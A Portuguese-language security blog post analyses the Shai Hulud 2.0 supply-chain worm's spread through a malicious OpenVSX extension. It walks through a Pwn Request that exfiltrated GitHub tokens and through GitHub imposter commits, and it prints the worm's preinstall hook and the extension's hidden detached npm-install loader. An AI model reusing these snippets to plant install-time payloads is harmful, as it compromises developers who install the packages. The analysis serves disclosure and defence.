A história de Shai Hulud 2.0 contém mais reviravoltas, que queremos destacar, já que o vimos migrar para múltiplos ecossistemas pela primeira vez. No processo de explorar isso, descobrimos novas informações significativas que fornecem insights mais profundos sobre os passos que os atacantes deram. Aqui estão alguns destaques de nossas descobertas:
- A primeira disseminação do worm começou já em 23 de novembro de 2025, às 23:36 UTC, quando os atacantes implantaram uma versão maliciosa do
asyncapi/asyncapi-previewextensão no OpenVSX. - Durante o primeiro ataque, os atacantes renomearam sua conta GitHub para
UnknownWonderer1.
Quando conversei com jornalistas sobre os incidentes S1ngularity e Shai Hulud, a grande questão sem resposta sempre foi: qual é o objetivo final do atacante? Por meses, não tivemos muito com o que trabalhar, apenas suposições e intuição.
Mas este pequeno detalhe inspirado na lore na verdade reforça uma teoria que ouvi de muitos pesquisadores: que esses atacantes não estão apenas causando caos por diversão ou lucro. Eles também estão tentando enviar uma mensagem. É o tipo de energia de “veja como seu mundo é realmente frágil” que surge quando alguém pensa que o ecossistema se tornou muito confiante, muito automatizado e muito fácil de ser burlado.
Seja essa uma motivação genuína ou apenas uma autoimagem teatral, isso não importa realmente. O resultado é o mesmo: um ataque projetado não apenas para se espalhar, mas para nos fazer confrontar a verdade incômoda de que nos tornamos um pouco confiantes demais em sistemas que são muito mais frágeis do que gostaríamos de acreditar.
The Unknown Wonderer
O nome de usuário UnknownWonderer1 é quase certamente uma referência aos Zensunni Wanderers de Duna. Eles eram um povo nômade que passou milênios vagando por mundos, deslocados e em grande parte despercebidos pelos poderosos.
Com o tempo, esses andarilhos se tornaram os Fremen; a única cultura verdadeiramente em sintonia com Shai-Hulud, os grandes vermes da areia de Arrakis. Quando você combina isso com um malware literalmente chamado Shai Hulud, a referência deixa de parecer acidental. Torna-se um pouco de simetria inspirada em Duna: o andarilho movendo-se acima das areias e o verme tunelando silenciosamente sob elas.
Na lore de Duna, os Zensunni representam pessoas que vivem fora das estruturas oficiais, ignorados até o momento em que sua resiliência remodela civilizações inteiras. Não é difícil ver por que essa imagem pode atrair um atacante que se infiltra em uma cadeia de suprimentos de software moderna.
Ao adotar essa identidade, os atacantes se colocam como uma presença igualmente invisível no ecossistema, vagando entre repositórios, contas e pacotes sem atrair atenção.
Essa contextualização até sugere uma possível motivação. Ela indica alguém que se vê como um outsider desafiando um sistema que considera frágil ou complacente, ou talvez um andarilho revelando fraquezas em um ambiente que o subestimou.
E a metáfora se encaixa estranhamente bem com o comportamento do malware: silencioso, persistente e operando a partir dos pontos cegos que ninguém pensa em verificar. Tudo isso faz com que o nome de usuário pareça menos uma escolha aleatória e mais um vislumbre de como os atacantes imaginam seu papel e impacto. Este provérbio, atribuído a The Zensunni Whip, parece de alguma forma relevante e premonitório:
Você não pode manipular uma marionete com apenas um fio
Espalhando-se no OpenVSX
Em 23 de novembro de 2025, às 23:36 UTC, uma nova versão da asyncapi/asyncapi-preview extensão no OpenVSX foi publicada, que instalaria o worm Shai Hulud 2.0. A forma como foi introduzida foi muito sorrateira e vale a pena explorar em mais profundidade. Aqui está uma visão geral passo a passo de como o ataque se desenrolou.
Passo 1 - Preparar fork de exfiltração
Em 22 de novembro de 2025, às 16:06 UTC, o atacante vskpsfkbjs no GitHub criou um commit em um fork do asyncapi/cli repositório.
https://github.com/asyncapi/cli/commit/9cbab46335c4c3fef2800a72ca222a44754e3ce1
Nele, vemos eles modificarem um script usado por uma de suas ações do GitHub, fazendo-o exfiltrar a configuração local do git para um webhook.site endpoint.

Você percebe que ele diz que pertence a um fork fora do repositório? Isso é importante. Porque este é um exemplo clássico de um "Pwn Request". Ele residirá apenas no fork do atacante do repositório, mas depois será executado de dentro do asyncapi repositório.
Passo 2 - Preparar PR de ataque
Em seguida, em 22 de novembro de 2025, às 16:29 UTC, vemos o atacante criando um branch em seu fork chamado patch-1.
https://github.com/asyncapi/cli/commit/6473466dd512125032cf2f8a28f391f8722d4901
Há algumas coisas que valem a pena mencionar aqui:
- Observe que o nome de usuário mudou de
vskpsfkbjsparaUnknownWonderer1. Parece que o atacante renomeou sua conta do GitHub. - O commit parece conter apenas alterações de texto.

Isso é confuso, certo? Por que apenas alterações de texto? A resposta está em como o fluxo de trabalho das ações do GitHub é executado. Como as ações vulneráveis do GitHub fazem o checkout do código que está sendo mesclado do fork, elas também puxarão a versão maliciosa do arquivo..github/workflows/changeset-utils/index.js, que os atacantes já haviam preparado com seu payload de exfiltração. Este arquivo malicioso será então executado no contexto do repositório oficial, exfiltrando seus Secrets do GitHub.
Passo 3 - Enviar PR de exfiltração
Em seguida, em 22 de novembro de 2025, às 16:38 UTC, o atacante envia um PR para o repositório oficial para acionar seu payload de exfiltração. Vemos evidências disso no histórico da SonarQube Cloud:
https://sonarcloud.io/summary/new_code?id=asyncapi_cli&pullRequest=1903

Neste ponto, seu payload malicioso terá sido executado e enviado o token do GitHub para seu ponto de exfiltração.
Passo 4 - Esconder evidências
Neste ponto, o atacante terá exfiltrado os tokens do GitHub para o repositório. Apenas 2 minutos e 44 segundos depois, às 16:40 UTC, eles fecharam seu pull request para esconder seus rastros.
Passo 5 - Implantar worm
No dia seguinte, em 23 de novembro de 2025, às 22:56 UTC, os atacantes criaram um commit (provavelmente em seu fork) que parece ter sido criado por GitHub Actions. O commit exclui todos os arquivos do repositório, exceto package.json e adiciona o worm.
https://github.com/asyncapi/cli/commit/2efa4dff59bc3d3cecdf897ccf178f99b115d63d

O arquivo package.json é alterado para executar o worm de forma simples:
{
"name": "asyncapi-utility",
"version": "1.0.0",
"bin": { "asyncapi-utility": "setup_bun.js" },
"scripts": {
"preinstall": "node setup_bun.js"
},
"license": "MIT"
}
Passo 6 - Implantar extensão maliciosa do OpenVSX
Finalmente, a extensão OpenVSX maliciosa foi implantada em 23 de novembro de 2025, às 23:36 UTC. Aqui está o código malicioso que eles inseriram no código de ativação da extensão:
console.log("Congratulations, your extension \"asyncapi-preview\" is now active!");
try {
0;
const e = a.spawn("npm", ["install", "github:asyncapi/cli#2efa4dff59bc3d3cecdf897ccf178f99b115d63d"], {
detached: true,
stdio: "ignore"
});
if ("function" == typeof e.unref) {
e.unref();
}
e.on("error", e => {});
} catch (e) {}
Isso não parece tão suspeito, certo? Parece ser tão simples quanto instalar o pacote AsyncAPI CLI de um commit específico no repositório oficial, o que deveria ser seguro. Mas não é. Está se referindo ao commit malicioso acima, que existia em um fork, não no repositório oficial. Confuso ainda?
Confusão de commit? Confusão de repositório?
Quando vimos pela primeira vez o código “malicioso” acima, ficamos perplexos. Como poderia ser inseguro instalar um pacote de um repositório GitHub legítimo? A resposta é Imposter Commits, uma propriedade pouco conhecida do GitHub. Veja bem, quando alguém faz um fork de um repositório no GitHub, qualquer commit no fork também pode ser acessado pelo hash do commit através do repositório original. É somente ao visualizar o commit na UI do GitHub que você tem uma indicação de que algo está errado:

Este comportamento é realmente contraintuitivo e não muito amigável à segurança. Porque quando você executa um comando como npm install asyncapi/cli#2efa4dff59bc3d3cecdf897ccf178f99b115d63d, você espera que ele instale código do repositório asyncapi/cli. Não um commit em um fork que nem sequer existe mais. Este tipo de ataque poderia ser considerado uma Repository Confusion vulnerabilidade.
Apêndice - Linha do tempo detalhada do GitHub
Proteja seu software agora



.avif)
